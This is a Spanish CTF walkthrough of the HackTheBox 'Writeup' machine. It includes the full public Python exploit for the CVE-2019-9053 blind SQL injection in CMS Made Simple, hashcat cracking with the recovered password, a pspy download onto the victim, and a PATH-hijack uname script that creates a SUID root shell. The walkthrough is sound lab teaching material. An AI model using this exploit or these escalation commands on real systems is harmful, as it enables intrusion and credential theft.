Writeup — EASY
Writeup técnico paso a paso de 'Writeup' (HTB): enumeración web, identificación de CMS Made Simple vulnerable a CVE-2019-9053, explotación de blind SQL injection para extraer credenciales, acceso por SSH y escalada de privilegios mediante PATH hijacking abusando del grupo staff.
🚀 Writeup — EASY
📅 Fecha: 2026-03-07
🔗 IP: 10.129.2.56
🔍 Estado: 🎯 Resuelta ✅
👤 Autor: Roberto
TL;DR
La máquina expone un sitio web en el puerto 80 y el archivo robots.txt revela la ruta /writeup/. Allí encontramos un CMS CMS Made Simple en una versión vulnerable a CVE-2019-9053, una blind SQL injection en el parámetro m1_idlist del módulo News. Aprovechando un exploit público, extraemos el hash MD5 con salt del usuario, lo crackeamos con Hashcat y obtenemos credenciales válidas para entrar por SSH como jkr.
Ya dentro del sistema, sudo ni siquiera está disponible, por lo que la escalada no va por la ruta clásica. Revisando los grupos del usuario, vemos que jkr pertenece a staff, lo que permite escribir en /usr/local/bin y /usr/local/sbin. Con ayuda de pspy observamos que un proceso ejecutado por root llama a uname sin ruta absoluta, lo que habilita un PATH hijacking. Creamos un binario falso en /usr/local/bin/uname que copia /bin/bash como SUID a /tmp, y luego usamos esa shell para obtener privilegios de root.
Reconocimiento
Iniciamos con el reconocimiento básico usando Nmap para identificar la superficie expuesta:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nmap -p- -Pn -sCV --min-rate 5000 10.129.2.56 -oN escaneo.txt
┌─ /workspace/hackthebox/writeup
└─ ➤ nmap -p- -Pn -sCV --min-rate 5000 10.129.2.56 -oN escaneo.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2026-03-07 16:57 MST
Nmap scan report for 10.129.2.56
Host is up (0.081s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 372e1468aeb9c2342b6ed992bcbfbd28 (ECDSA)
|_ 256 93eaa84042c1a83385b35600621ca0ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.28 seconds
A simple vista, el puerto más interesante es el 80/tcp, donde se aloja una aplicación web. Además, Nmap nos adelanta algo importante: existe un archivo robots.txt que contiene una ruta deshabilitada para indexación.
Al revisar el sitio, vemos una página bastante simple. Sin embargo, en robots.txt encontramos una ruta interesante:
/writeup/
Al acceder a ella, aparece una sección que parece actuar como una especie de portal o home con pequeños extractos de writeups.
Revisando el código fuente del sitio, identificamos que estamos frente a CMS Made Simple. Siguiendo la enumeración, encontramos también el archivo CHANGELOG.txt, que nos revela un dato clave: la versión exacta del CMS.
Ese detalle cambia por completo el panorama, porque una vez conocida la versión, ya podemos contrastarla contra vulnerabilidades públicas.
Explotación inicial
Investigando sobre CMS Made Simple, encontramos que esta versión es vulnerable a CVE-2019-9053, una SQL injection ciega basada en tiempo explotable a través del parámetro m1_idlist del módulo News.
Existe un exploit público en Exploit-DB:
https://www.exploit-db.com/exploits/46635
El exploit original está escrito en Python 2 y su propósito es extraer:
salt
username
email
hash de contraseña
a partir de la vulnerabilidad blind SQLi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
Cómo funciona el exploit
Este exploit aprovecha que el parámetro m1_idlist del módulo News no es sanitizado antes de enviarse a la base de datos. El problema es que la aplicación es blind, así que no veremos directamente ni errores SQL ni resultados en pantalla.
Entonces, ¿cómo se extrae la información? La respuesta es: usando el tiempo.
El script trabaja como una especie de “adivina quién” sobre la base de datos:
1.- construye una lista de caracteres posibles 2.- prueba letra por letra 3.- envía una consulta que provoca sleep() si la condición es verdadera 4.- mide cuánto tarda en responder el servidor 5.- La lógica sería equivalente a algo como esto:
En otras palabras:
- Si el primer carácter del valor buscado es
a, el servidor duerme 2 segundos. - Si no lo es, responde normal.
- El script mide el tiempo.
- Si tarda, la letra era correcta.
- Si no tarda, prueba con la siguiente.
Ese ciclo se repite hasta reconstruir carácter por carácter el salt, el usuario, el correo y el hash. Aunque es un proceso lento y bastante ruidoso, termina siendo efectivo.
Uno de los resultados más importantes que obtuvimos fue el siguiente:
1
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Crackeo del hash
Al tener un hash MD5 con salt, podemos usar Hashcat para intentar recuperar la contraseña en texto claro.
Primero guardamos el hash en un archivo:
1
2
3
┌─ /workspace/hackthebox/writeup
└─ ➤ cat hash.txt
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Luego ejecutamos Hashcat con el modo correspondiente:
1
hashcat -m 20 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt
Resultado:
1
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
Con esto ya tenemos credenciales válidas.
Acceso por SSH
A partir de la salida del exploit obtenemos el usuario y, tras crackear el hash, la contraseña. Con esos datos podemos autenticarnos por SSH y obtener acceso al sistema.
Una vez dentro, podemos recuperar la user flag.
Escalada de privilegios
Lo primero que uno pensaría sería revisar sudo, pero aquí hay un pequeño detalle interesante: ni siquiera está instalado.
1
2
jkr@writeup:~$ sudo -l
-bash: sudo: command not found
Así que toca buscar otra vía.
Enumeración de grupos Revisamos los grupos del usuario con id:
1
2
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
Aquí destaca especialmente el grupo: staff
Aunque no siempre llama la atención, en sistemas Debian este grupo puede ser muy peligroso si está mal combinado con otras tareas del sistema. En este caso, pertenecer a staff permite escribir en rutas como:
/usr/local/bin /usr/local/sbin
Lo confirmamos así:
1
2
3
jkr@writeup:~$ ls -ld /usr/local/bin /usr/local/sbin
drwx-wsr-x 2 root staff 20480 Apr 19 2019 /usr/local/bin
drwx-wsr-x 2 root staff 12288 Apr 19 2019 /usr/local/sbin
Eso ya nos da una idea clara: si algún proceso ejecutado por root invoca binarios sin ruta absoluta, podemos intentar un PATH hijacking.
Entendiendo el PATH
Linux resuelve los comandos buscando de izquierda a derecha en la variable $PATH. Si revisamos el valor actual:
1
2
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Lo crítico aquí es que:
/usr/local/bin aparece antes que /usr/bin y /bin
nosotros podemos escribir en /usr/local/bin
si root llama un binario por nombre, el sistema puede ejecutar primero nuestro archivo malicioso
Pero no basta con poder escribir ahí. También necesitamos identificar qué comando ejecuta root automáticamente sin ruta absoluta.
Monitoreando procesos con pspy
Para eso usamos pspy, una herramienta muy útil para observar procesos ejecutados por otros usuarios sin privilegios de root. Podemos descargarla así:
1
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
Luego la servimos desde nuestra máquina atacante:
1
python3 -m http.server 80
Y en la víctima la descargamos:
1
wget http://[IP]:80/pspy64
Le damos permisos y la ejecutamos:
1
2
chmod +x pspy64
./pspy64
Una vez corriendo, la herramienta empieza a mostrar procesos del sistema. En este caso, el comportamiento interesante apareció al abrir otra sesión con el mismo usuario.
La línea importante fue esta:
1
2026/03/07 21:00:49 CMD: UID=0 PID=2944 | uname -rnsom
Aquí está la clave: el sistema ejecuta uname sin ruta absoluta. No llama a /bin/uname, solo a uname.
Eso lo convierte en un objetivo perfecto para secuestrar el PATH.
PATH Hijacking
Ahora que sabemos que root ejecuta uname sin especificar la ruta completa, solo tenemos que colocar un binario falso con ese nombre dentro de /usr/local/bin.
1
2
3
jkr@writeup:~$ echo '#!/bin/bash' > /usr/local/bin/uname
jkr@writeup:~$ echo 'cp /bin/bash /tmp/bashroot; chmod +s /tmp/bashroot' >> /usr/local/bin/uname
jkr@writeup:~$ chmod +x /usr/local/bin/uname
Lo que hace este script es:
copiar /bin/bash a /tmp/bashroot
asignarle el bit SUID
dejar una shell que podrá ejecutarse con privilegios de root
Después solo esperamos a que el proceso vuelva a dispararse. Una forma práctica de provocar el evento es cerrar sesión y volver a entrar por SSH. Cuando root ejecuta uname, en realidad termina ejecutando nuestro script. Entonces verificamos el archivo generado:
1
2
jkr@writeup:~$ ls -l /tmp/bashroot
-rwsr-sr-x 1 root root 1234567 Mar 07 23:45 /tmp/bashroot
1
2
3
4
5
jkr@writeup:~$ /tmp/bashroot -p
bashroot-5.0# id
uid=1000(jkr) gid=1000(jkr) euid=0(root) egid=0(root) groups=0(root)...
bashroot-5.0# cat /root/root.txt
04134f1df147dce201d738f********
Root conseguido.
Resumen
La máquina Writeup presenta una cadena de compromiso bastante clásica pero muy bien construida. El acceso inicial depende de una mala práctica básica pero frecuente: exponer un software desactualizado, en este caso CMS Made Simple, vulnerable a CVE-2019-9053. A través de una blind SQL injection basada en tiempo, fue posible extraer información sensible de la base de datos, incluyendo el hash y el salt del usuario. Después, usando Hashcat, se recuperó la contraseña en claro y se obtuvo acceso por SSH.
La escalada de privilegios es aún más interesante porque no pasa por sudo, sino por una combinación peligrosa de configuraciones débiles. El usuario jkr pertenece al grupo staff, lo que permite escribir en /usr/local/bin, una ruta que aparece antes que los binarios legítimos dentro del $PATH. Al observar el sistema con pspy, se detectó que root ejecutaba uname sin usar ruta absoluta. Eso hizo posible un PATH hijacking, colocando un script malicioso llamado uname en /usr/local/bin.
Cuando root ejecutó ese comando, terminó corriendo el script del atacante, que creó una copia SUID de /bin/bash en /tmp. A partir de ahí, bastó ejecutar esa shell con -p para obtener una sesión con privilegios efectivos de root y completar la máquina.
En conjunto, esta máquina deja dos lecciones muy claras: mantener software sin parches es una invitación directa a la intrusión, y combinar permisos de escritura peligrosos con llamadas inseguras a binarios del sistema puede convertir una mala configuración local en una escalada completa de privilegios.
Happy hacking :)







